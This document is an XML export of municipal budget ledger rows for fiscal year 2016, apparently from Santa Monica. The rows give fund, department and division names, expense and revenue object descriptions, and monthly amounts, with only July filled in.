<row _id="22516"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400394.0</object><object_description>HAP REVENUE - PORTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22517"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-14216</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-14216</total></row>
<row _id="22518"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3125</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3125</total></row>
<row _id="22519"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8375</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8375</total></row>
<row _id="22520"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>620</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>620</total></row>
<row _id="22521"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1100</total></row>
<row _id="22522"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>831</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>831</total></row>
<row _id="22523"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3617</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3617</total></row>
<row _id="22524"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="22525"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5731</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5731</total></row>
<row _id="22526"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5100</total></row>
<row _id="22527"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571150.0</object><object_description>S+C HAP NEW</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>288098</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>288098</total></row>
<row _id="22528"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-41652</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-41652</total></row>
<row _id="22529"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22530"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22531"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-11824</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11824</total></row>
<row _id="22532"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-20067</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20067</total></row>
<row _id="22533"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>115978</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>115978</total></row>
<row _id="22534"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9257</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9257</total></row>
<row _id="22535"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6421</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6421</total></row>
<row _id="22536"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>578990.0</object><object_description>WELLNESS PROGRAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3115</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3115</total></row>
<row _id="22537"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 - FSS FORFEITURES</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22538"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1750816</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1750816</total></row>
<row _id="22539"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>344436</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>344436</total></row>
<row _id="22540"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2107</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2107</total></row>
<row _id="22541"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1020</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1020</total></row>
<row _id="22542"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1782</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1782</total></row>
<row _id="22543"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3251</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3251</total></row>
<row _id="22544"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-1931</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1931</total></row>
<row _id="22545"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>776</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>776</total></row>
<row _id="22546"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>117031</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>117031</total></row>
<row _id="22547"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6749</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6749</total></row>
<row _id="22548"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>45000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45000</total></row>
<row _id="22549"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5322</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5322</total></row>
<row _id="22550"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22551"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-106524</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-106524</total></row>
<row _id="22552"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555067.0</object><object_description>LANDFILL GAS CONTROL SYST.</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22553"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7080</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7080</total></row>
<row _id="22554"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>288</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>288</total></row>
<row _id="22555"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>22</fund_id><fund_name>COPS Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100000</total></row>
<row _id="22556"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>17700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17700</total></row>
<row _id="22557"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>39539</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39539</total></row>
<row _id="22558"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>520650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>520650</total></row>
<row _id="22559"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22560"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>44473</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>44473</total></row>
<row _id="22561"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7140</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7140</total></row>
<row _id="22562"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2866</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2866</total></row>
<row _id="22563"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522129.0</object><object_description>UTIL-GAS-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1250</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1250</total></row>
<row _id="22564"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3100</total></row>
